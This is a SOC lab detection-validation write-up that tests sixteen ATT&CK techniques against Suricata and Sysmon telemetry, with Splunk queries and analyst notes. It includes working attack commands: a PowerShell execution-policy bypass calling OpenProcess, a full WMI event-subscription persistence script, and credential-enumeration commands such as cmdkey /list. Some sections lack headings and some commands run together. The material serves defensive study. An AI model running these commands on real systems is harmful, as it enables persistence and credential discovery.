Sixteen MITRE ATT&CK techniques executed in a controlled SOC lab to validate network and endpoint telemetry. Each case documents technique execution, observed telemetry, and analyst investigation.
Suricata: flow events (src_ip, dest_ip, dest_port, proto=TCP, tcp_flags=02 for SYN)
Sysmon: None expected
Detection Results
Index: suricata_eve
Search:
index=suricata_eve event_type=flow src_ip=10.0.0.30 dest_ip=10.0.0.1 proto=TCP| where tcp_flags=2| stats count by dest_port
Outcome: Suricata captured TCP SYN activity across multiple destination ports, confirming network service enumeration.
Analytical Notes
Detection Scope:
Suricata flow data with tcp_flags=2 indicates SYN-initiated connections without reply. Does not confirm malicious activity without behavioural thresholding.
False Positive Considerations:
Legitimate network discovery (vulnerability assessment, inventory tools) generates similar patterns. Port range specificity improves confidence.
Limitations:
Flow analysis confirms connectivity attempts only. Does not correlate with vulnerability exploitation or successful compromise.
Production Considerations
Baseline expected discovery ports by source system and time window
Aggregate by source IP and destination port range to identify scanning patterns beyond random connection attempts
Requires correlation with asset inventory to distinguish authorised scanning
Monitor for consistency - legitimate tools typically scan at regular intervals with consistent patterns
index=suricata_eve dest_port=22 src_ip=10.0.0.30| bucket _time span=1m| stats count by _time src_ip dest_ip| where count > 20
Outcome: Volume-based detection records >20 SSH connections from single source within 1-minute window. Pattern consistent with brute-force credential attack.
Analytical Notes
Detection Scope:
Count-based aggregation by time window identifies connection volume exceeding normal patterns. Threshold (>20) requires baseline tuning for production environments.
False Positive Considerations:
Legitimate automated tools (configuration management, compliance scanning) may generate similar patterns. Source reputation and authentication success rates distinguish intent.
Limitations:
Does not distinguish failed from successful authentication. Requires application-layer log analysis (SSH auth logs) for conclusive evidence of credential failure.
Production Considerations
Establish baseline connection rates per source IP by time window and environment type
Tune threshold >20 based on enterprise administrative automation frequency
Correlate with SSH authentication logs to measure attack success
Monitor for distributed patterns - multiple source IPs against same destination
T1059.001Command and Scripting Interpreter (PowerShell)
Suricata: No network evidence expected - this activity occurs entirely on the endpoint and does not traverse the Suricata gateway
Sysmon: Event ID 1 (process creation: powershell.exe with Get-Process command)
Detection Results
Index: sysmon
Search:
index=sysmon EventCode=1 Image="*\\powershell.exe"CommandLine="*Get-Process*"| table _time Computer User ParentImage CommandLine
Outcome: Sysmon Event ID 1 recorded PowerShell execution with command-line parameters. Telemetry confirms PowerShell process creation and command invocation.
Analytical Notes
Detection Scope:
Sysmon Event ID 1 (process creation) provides execution telemetry with full command line. Confirms PowerShell invocation only.
False Positive Considerations:
Get-Process is legitimate administrative activity. User identity, execution frequency, and parent process context reduce false positives.
Limitations:
Command-line visibility is essential. Process termination telemetry (Sysmon Event ID 5) is available in this environment. PowerShell script block logging (Event ID 4104) is not enabled, which limits visibility into the internal contents of executed PowerShell scripts. Does not confirm code execution or intended malicious outcome.
Production Considerations
Baseline PowerShell execution by user role and time-of-day
Monitor execution from unexpected parent processes (web browsers, document editors)
Correlate with Event ID 4104 (script block logging) for obfuscation detection
Consider process termination patterns - rapid spawn-and-exit suggests automation
index=suricata_eve src_ip=10.0.0.30 dest_ip=10.0.0.1| bucket _time span=1m| stats count dc(dest_port) as unique_ports values(alert.signature) as signatures by _time src_ip
Outcome: Suricata recorded alert events and flow data. Temporal aggregation confirms vulnerability scanning signature - multiple alerts and wide port range within 1-minute window.
powershell.exe -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class X { [DllImport(\"kernel32.dll\")] public static extern IntPtr OpenProcess(int a,bool b,int c); }'; [X]::OpenProcess(0x1F0FFF,$false,$PID)"
Expected Evidence
Suricata: No network evidence expected - this activity occurs entirely on the endpoint and does not traverse the Suricata gateway
Sysmon: Event ID 1 (process creation: powershell.exe with OpenProcess API reference)
Detection Results
Index: sysmon
Search:
index=sysmon EventCode=1 Image="*\\powershell.exe"CommandLine="*OpenProcess*"| table _time Computer User ParentImage CommandLine
Outcome: Sysmon Event ID 1 captured PowerShell with unmanaged API reference. Command-line artefact indicates injection intent but requires additional telemetry for confirmation.
Analytical Notes
Detection Scope:
Command-line reference to OpenProcess API indicates intention to obtain process handle. Evidence of intent only - does not confirm successful injection. Event ID 10 (ProcessAccess) and Event ID 8 (CreateRemoteThread) provide stronger direct indicators of process injection behaviour than command-line artefacts alone.
False Positive Considerations:
Legitimate applications may call OpenProcess. Context - process parent, target process, and execution environment - improves confidence.
Limitations:
Event ID 10 (ProcessAccess) is available in this lab environment but was not used in the primary detection query for this case study. The detection demonstrated here relied on command-line artefacts rather than process access telemetry. Command-line obfuscation defeats this detection. No proof of successful code execution or payload injection.
Production Considerations
Correlate with Event ID 10 (ProcessAccess targeting notepad.exe, csrss.exe, system processes)
Monitor for unusual PowerShell parent processes (Explorer.exe, Outlook.exe)
Baseline command-line execution patterns by user role
Suricata: flow events (fragmented TCP SYN packets, syn_sent state, no alert)
Sysmon: None expected
Detection Results
Index: suricata_eve
Search:
index=suricata_eve event_type=flow src_ip=10.0.0.30 dest_ip=10.0.0.1 proto=TCP| stats count by dest_port
Outcome: Suricata captured fragmented TCP SYN activity across multiple ports. Flow telemetry remained visible; fragmentation evaded signature-based detection.
Analytical Notes
Detection Scope:
Flow-level telemetry records fragmented packets without alert trigger. Technique defeats signature rules by fragmenting payloads below detection threshold.
False Positive Considerations:
Legitimate fragmented traffic (MTU variations, tunnel encapsulation) generates similar patterns. Time-window aggregation and source reputation separate scanning from background noise.
Limitations:
Detection depends on flow visibility. Requires correlation with alert gaps (expected alerts absent). Does not confirm exploitation or lateral movement.
Production Considerations
Establish baseline fragmentation rates by network segment and traffic class
Monitor for correlation between fragmentation volume and alert threshold gaps
Tune Suricata fragmentation reassembly rules to validate payload detection
Track source IPs exhibiting fragmentation patterns outside normal administration
Suricata: No network evidence expected - this activity occurs entirely on the endpoint and does not traverse the Suricata gateway
Sysmon: Event ID 1 (process creation: powershell.exe with Get-CimInstance)
Detection Results
Index: sysmon
Search:
index=sysmon EventCode=1 Image="*\\powershell.exe"CommandLine="*Get-CimInstance*"| table _time Computer User ParentImage CommandLine
Outcome: Sysmon Event ID 1 captured PowerShell process creation with CIM cmdlet invocation.
Analytical Notes
Detection Scope:
Command-line artefact indicates WMI query intent via CIM. Detection depends entirely on command-line visibility. The lab configuration includes visibility into WMI persistence mechanisms through Event ID 19 (WmiEventFilter) and Event ID 20 (WmiEventConsumer), which provide a separate detection path for WMI-based persistence activity.
False Positive Considerations:
Legitimate administrative scripts frequently use Get-CimInstance for system queries. Time-of-execution and initiating user context help distinguish intent.
Limitations:
Obfuscation reduces reliability. Command-line redaction or absence eliminates telemetry. No network visibility for local execution.
Production Considerations
Whitelist legitimate administrative accounts and scheduled scripts
Monitor execution from unexpected process parent (e.g., Explorer.exe instead of cmd.exe)
Event ID 11 (FileCreate) is available in this environment and can be used to correlate file staging behaviour with WMI execution activity.
Apply command-line visibility baseline across all endpoints
Suricata: curl.exe performs an external download and would normally generate outbound network traffic observable at the gateway; however, network telemetry was not captured or validated in this test case
Sysmon: Event ID 1 (process creation: curl.exe with output parameter)
Detection Results
Index: sysmon
Search:
index=sysmon EventCode=1 Image="*\\curl.exe"CommandLine="*http*"| table _time Computer User ParentImage CommandLine
Outcome: Sysmon Event ID 1 captured curl.exe execution with HTTP URL parameter. Evidence of tool transfer intent; does not confirm successful download or execution.
Analytical Notes
Detection Scope:
No Suricata telemetry ingested in this configuration; network activity not evaluated. Command-line artefact (http URL) indicates transfer intent. A three-event detection chain is available in this environment: Event ID 22 (DNSQuery) captures domain resolution, Event ID 1 (ProcessCreate) records the curl.exe execution, and Event ID 11 (FileCreate) confirms the output file artefact.
False Positive Considerations:
curl.exe is commonplace in legitimate administration and software deployment. Execution context (user, parent process, target URL) improves confidence.
Limitations:
Command-line visibility required. Does not confirm successful file transfer, persistent storage, or subsequent execution. Requires network telemetry for egress detection.
Production Considerations
Correlate with Event ID 11 (file creation) for output file confirmation
Monitor for curl.exe execution outside standard administrative accounts
Track destination URLs to identify attacker infrastructure
Event ID 22 (DNSQuery) is active in this environment and can be used to correlate domain resolution behaviour with the curl.exe execution observed in this case study.
Suricata: No network evidence expected - this activity occurs entirely on the endpoint and does not traverse the Suricata gateway
Sysmon: Event ID 13 (registry modification: HKCU\...\Run key)
Detection Results
Index: sysmon
Search:
index=sysmon EventCode=13 TargetObject="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*"| table _time Computer User Image TargetObject Details
Outcome: Sysmon Event ID 13 recorded modification of HKCU Run key with persistence command. Registry telemetry confirms autorun entry creation.
Analytical Notes
Detection Scope:
Event ID 13 (registry value modification) confirms modification of Run key. TargetObject field identifies registry path; Details contains persistence command.
False Positive Considerations:
Legitimate software installers and system administration tools modify Run keys. User context and initiating process help distinguish legitimate from malicious modifications.
Limitations:
Detects registry modification only - does not confirm execution. Monitoring scheduled task execution (Event ID 4688) required to measure autorun persistence success.
Production Considerations
Monitor registry modifications by non-system accounts outside software deployment windows
Correlate with process telemetry to identify initiating application
Match Details field against known legitimate software installation patterns
Track modification frequency and persistence payload execution
Outcome: Sysmon Event ID 1 recorded process creation events for both execution paths. In Test 2, cmd.exe executed the schtasks utility to create a scheduled task named “spawn”. In Test 4, PowerShell invoked the Register-ScheduledTask cmdlet to create a task named “AtomicTask”. Parent-child process lineage is preserved in both events, confirming two distinct execution paths leading to the same persistence behaviour.
Analytical Notes
Detection Scope:
Sysmon Event ID 1 (process creation) provides endpoint visibility across both execution paths: schtasks.exe invocation via cmd.exe (Test 2) and PowerShell invoking Register-ScheduledTask (Test 4). Command-line artefacts uniquely identify each path and preserve parent-child process relationships.
False Positive Considerations:
Scheduled task creation is common in managed environments for software deployment, maintenance scripts, and system automation. Parent process context and task naming conventions help distinguish legitimate from adversarial task creation.
Limitations:
Detects task creation only - does not confirm task execution. Event ID 1 records the creation process; Windows Security Event ID 4698 (scheduled task created) supplements Sysmon process telemetry for task registration confirmation independent of process lineage.
Production Considerations
Monitor for scheduled task creation initiated by interactive user sessions or scripting interpreters
Inspect task names and payload executables for deviation from expected management tooling
Correlate Register-ScheduledTask invocations with parent process lineage to identify script-driven persistence
Supplement with Windows Security Event ID 4698 to confirm task registration independent of process creation telemetry
index=sysmon EventCode=22 Image="*powershell.exe"| stats count values(QueryName) by Computer Image User
Outcome: Sysmon Event ID 22 captured DNS queries generated by powershell.exe during execution of the dnscat2 PowerShell client. NXDOMAIN responses were observed, indicating the target domain was unresolvable during the test. No Suricata telemetry was generated, as DNS traffic was directed to the loopback address and did not traverse the network gateway.
Analytical Notes
Detection Scope:
Sysmon Event ID 22 (DNSQuery) captures DNS queries generated by powershell.exe, identifying the initiating process and queried domain. Endpoint visibility persists even when DNS traffic is directed to a loopback address and does not traverse the network gateway, demonstrating that host telemetry provides a detection path independent of network sensor coverage.
False Positive Considerations:
PowerShell performing DNS queries is uncommon in standard user activity but may occur in legitimate automation scripts or development workflows. Domain name context, query frequency, and execution lineage improve confidence in distinguishing C2 activity from benign use.
Limitations:
Event ID 22 captures query metadata only - it does not inspect DNS payload content or confirm successful C2 channel establishment. NXDOMAIN responses observed during testing indicate that the target infrastructure was unreachable, limiting behavioural confirmation of the full attack chain.
Production Considerations
Monitor for PowerShell initiating DNS queries to external or unusual domains
Correlate Event ID 22 (DNSQuery) with Event ID 1 (ProcessCreate) to link query behaviour to execution context
Baseline expected DNS query domains for scripting engine processes and flag deviations
High-frequency DNS queries from a single process within a short window may indicate beaconing or DNS tunnelling
Outcome: Sysmon Event ID 1 recorded execution of tasklist.exe with cmd.exe as the parent process. Command-line and user context were captured, confirming endpoint visibility into process enumeration activity. No Suricata telemetry was generated, as the activity occurs entirely on the local host.
Analytical Notes
Detection Scope:
Sysmon Event ID 1 (process creation) captures tasklist.exe execution with full command-line, parent process, and user context. Confirms process enumeration activity at the endpoint level.
False Positive Considerations:
tasklist.exe is a native Windows utility used legitimately by administrators, helpdesk tooling, and diagnostic scripts. Execution frequency, time-of-day, and initiating parent process help distinguish administrative use from adversarial reconnaissance.
Limitations:
Process creation telemetry confirms invocation only - does not reveal the content of the output or indicate which specific processes were identified by the operator. No network visibility for local execution.
Production Considerations
Baseline tasklist.exe execution by user context and parent process
Monitor invocations from unexpected parents (scripting engines, document editors, web services)
Correlate with subsequent discovery techniques to identify reconnaissance chaining
Outcome: Sysmon Event ID 1 recorded execution of systeminfo.exe with cmd.exe as the parent process. Command-line and user context were captured, confirming endpoint visibility into system information discovery activity.
Analytical Notes
Detection Scope:
Sysmon Event ID 1 (process creation) captures systeminfo.exe execution with full command-line and parent process context. The reg query command executed as part of this test is not covered by the search above; registry query activity is observable through a separate filter targeting reg.exe.
False Positive Considerations:
systeminfo.exe is used routinely by administrators and IT tooling for asset inventory, troubleshooting, and patch compliance checks. Execution context - user role, parent process, and time-of-day - helps distinguish legitimate from adversarial use.
Limitations:
Detection covers systeminfo.exe invocation only. Registry query activity (reg query) was not validated in this search; a separate query targeting reg.exe with the relevant command-line would be required for full coverage. Execution telemetry confirms invocation but does not capture the output returned to the operator.
Production Considerations
Baseline systeminfo.exe execution to known administrative and asset inventory contexts
Monitor execution from scripting engines or unexpected parent processes
Supplement with a reg.exe filter to cover registry-based system information discovery
Correlate with follow-on discovery activity (T1057, T1087, T1016) to identify reconnaissance sequences
net userdir c:\Users\cmdkey.exe /listnet localgroup "Users"net localgroup
Expected Evidence
Suricata: No network evidence expected - this activity occurs entirely on the endpoint and does not traverse the Suricata gateway
Sysmon: Event ID 1 (process creation: net.exe and cmdkey.exe invocations)
Detection Results
Index: sysmon
Search:
index=sysmon EventCode=1 (Image="*net.exe" OR Image="*cmdkey.exe")| table _time Computer User ParentImage Image CommandLine| sort - _time
Outcome: Sysmon Event ID 1 recorded multiple process creation events for net.exe and cmdkey.exe, confirming endpoint visibility into local account enumeration activity. Full command-line, parent process (cmd.exe), executing user context, and timestamps were captured for each invocation.
Analytical Notes
Detection Scope:
Sysmon Event ID 1 captures execution of net.exe and cmdkey.exe with full command-line context. Multiple process creation events within a single session correlate across net user, net localgroup, and cmdkey.exe /list invocations, providing visibility into sequential account discovery behaviour. The directory listing of C:\Users\ is not covered by this filter; it requires a separate cmd.exe or explorer.exe parent-process query targeting dir.exe or conhost.exe.
False Positive Considerations:
net.exe and cmdkey.exe are native Windows utilities used legitimately for account management and credential administration. Execution by interactive user sessions outside standard IT administration windows should be investigated, particularly when multiple account discovery commands are executed in rapid succession.
Limitations:
The search query covers net.exe and cmdkey.exe only - directory listing of C:\Users\ via dir is not captured. A supplementary filter targeting the dir command would be required for complete coverage. Execution telemetry confirms invocation but does not capture command output, including the list of accounts or stored credential entries returned to the operator.
Production Considerations
Monitor net.exe and cmdkey.exe execution outside standard IT administration windows
Correlate multiple account discovery commands executed in rapid succession from a single session
cmdkey.exe /list invocations warrant elevated scrutiny as they enumerate stored credential entries
Supplement with a directory listing filter for C:\Users\ enumeration coverage
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'; CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs$FilterToConsumerArgs = @{Filter = [Ref] $Filter;Consumer = [Ref] $Consumer;}$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
Expected Evidence
Suricata: No network evidence expected - this activity occurs entirely on the endpoint and does not traverse the Suricata gateway
Sysmon: Event ID 19 (WmiEventFilter creation) and Event ID 20 (WmiEventConsumer creation)
Detection Results
Index: sysmon
Search:
index=sysmon (EventCode=19 OR EventCode=20)| table _time Computer EventCode User Operation| sort - _time
Outcome: Sysmon Event IDs 19 and 20 confirmed creation of a WMI event filter and consumer respectively. Telemetry confirms that a permanent WMI event subscription was successfully registered, demonstrating detection of WMI-based persistence activity.
Analytical Notes
Detection Scope:
Sysmon Event IDs 19 (WmiEventFilter) and 20 (WmiEventConsumer) directly detect WMI event subscription creation. These events fire when a permanent WMI subscription is established, providing reliable detection of this persistence technique independent of process creation telemetry.
False Positive Considerations:
WMI event subscriptions are rarely created during normal user activity. Legitimate use is typically limited to enterprise management software and monitoring agents. Creation by interactive user accounts outside known management tooling warrants investigation.
Limitations:
Event IDs 19 and 20 confirm subscription creation but do not capture the full subscription payload detail or confirm subsequent trigger execution. Sysmon Event ID 21 (WmiEventConsumerToFilter binding) provides binding confirmation and should be correlated for complete subscription visibility.
Production Considerations
Alert on WMI subscription creation by non-administrative or interactive user accounts
Correlate Event IDs 19, 20, and 21 for complete subscription registration telemetry
Inspect consumer payloads for unusual executables or script content
Monitor for subscription creation outside known management software deployment windows
T1559.002Inter-Process Communication: Dynamic Data Exchange (DDE)
Outcome: Sysmon Event ID 1 captured cmd.exe attempting to open the Atomic Red Team DDE test document. Microsoft Defender blocked the document before WINWORD.EXE could launch, preventing observation of the intended DDE execution chain. The expected WINWORD.EXE → cmd.exe process relationship was not observed.
Analytical Notes
Detection Scope:
Sysmon Event ID 1 captured the initial file-open attempt via cmd.exe, confirming endpoint visibility into the execution trigger. The full DDE execution chain (WINWORD.EXE → cmd.exe) was not observable due to Defender intervention prior to Office process instantiation.
False Positive Considerations:
Office documents opened via cmd.exe is uncommon in standard user workflows. Process creation from command shells initiating Office applications may indicate script-driven or automated execution and warrants investigation regardless of whether the document contains a malicious DDE payload.
Limitations:
Detection is limited to the initial file-open attempt. The DDE execution chain was blocked before the expected parent-child process relationship could form, preventing full detection validation. Endpoint protection blocking confirms preventative capability but limits post-execution telemetry. A test environment with Defender exclusions would be required to observe the complete execution chain.
Production Considerations
Monitor for Office document execution initiated from command shells or scripting engines
Alert on WINWORD.EXE, EXCEL.EXE, or equivalent Office processes spawning cmd.exe or PowerShell
Review Microsoft Defender alert logs concurrently with Sysmon telemetry for blocked execution events
Validate prevention coverage independently; Defender blocking confirms detection but does not substitute for post-execution telemetry validation
Detection Coverage Analysis
Sixteen adversary techniques were executed across network and endpoint telemetry sources within the SOC lab environment. The results show an asymmetric detection surface: most techniques generated telemetry exclusively at the endpoint, while a smaller subset produced observable network activity.
Coverage Distribution
Network-observable techniques: 4
Host-based techniques: 12
Execution prevented by endpoint protection: 1
This distribution reflects the reality of modern host-centric adversary behaviour, where many techniques operate entirely within the endpoint execution context and never traverse network monitoring points. The prevented execution outcome (T1559.002) falls within the endpoint-executed category; endpoint protection intervened before full execution completed.
Telemetry Categories Validated
Telemetry Source
Behaviour Observed
Sysmon Event ID 1
Process execution
Sysmon Event ID 11
File creation artefacts
Sysmon Event ID 13
Registry persistence
Sysmon Event ID 19-20
WMI event subscription creation
Sysmon Event ID 22
DNS query activity
Suricata flow / alert events
Scanning and brute-force activity
Detection Outcomes
Outcome
Meaning
Alerted
Suricata rule triggered
Flow-only
Traffic visible in flows but no rule fired
Host-only
Observable only through Sysmon endpoint telemetry
Blocked
Endpoint protection prevented full execution
Detection Surface Interpretation
Endpoint telemetry produced the majority of investigative visibility. Twelve of sixteen techniques generated no observable network traffic, requiring host-level telemetry for detection and analysis.
Network telemetry remained valuable for reconnaissance detection. Scanning and brute-force behaviours produced identifiable connection patterns even when signature alerts were absent.
Flow data preserved evidence when signatures failed. Packet fragmentation and raw port scanning evaded Suricata rules but remained visible through flow telemetry.
Prevention outcomes confirmed protection but limited telemetry validation. Endpoint protection blocking DDE execution prevented observation of the full execution chain, confirming protective capability while limiting post-execution telemetry validation.
Multi-event telemetry chains provide stronger investigative context than single-event detections. Several techniques demonstrated correlated events across DNS queries, process execution, and file creation telemetry.
Cross-Technique Observations
Host-based techniques (12 of 16) lack network visibility entirely; endpoint telemetry is the sole detection source, creating asymmetric coverage across execution contexts.
Network-based techniques (4 of 16) exhibited mixed detection outcomes: 2 generated alert events (brute-force, scanning activity), while 2 remained visible at flow level but failed signature-based detection (evasion via fragmentation, raw port scanning).
Flow-level visibility consistently provided evidence that rules missed; flow baseline analysis was necessary to distinguish adversary scanning from legitimate network enumeration without alerts.
Endpoint detection reliability depends critically on command-line visibility and process creation logging; obfuscation or logging gaps degrade detection to visibility-only status.
False positive risk scales with detection breadth: SSH brute-force and network service discovery generate high rule volume without port range or source context, requiring additional filtering to maintain signal quality.
Local execution patterns (WMI, process injection, registry persistence) are invisible to network telemetry; host-level investigation becomes mandatory for lateral movement and persistence validation.
One technique (T1559.002 - DDE execution) was blocked by endpoint protection prior to full execution; no complete telemetry chain was generated. Prevention outcomes represent a distinct coverage category: they confirm protective capability but do not substitute for post-execution detection validation.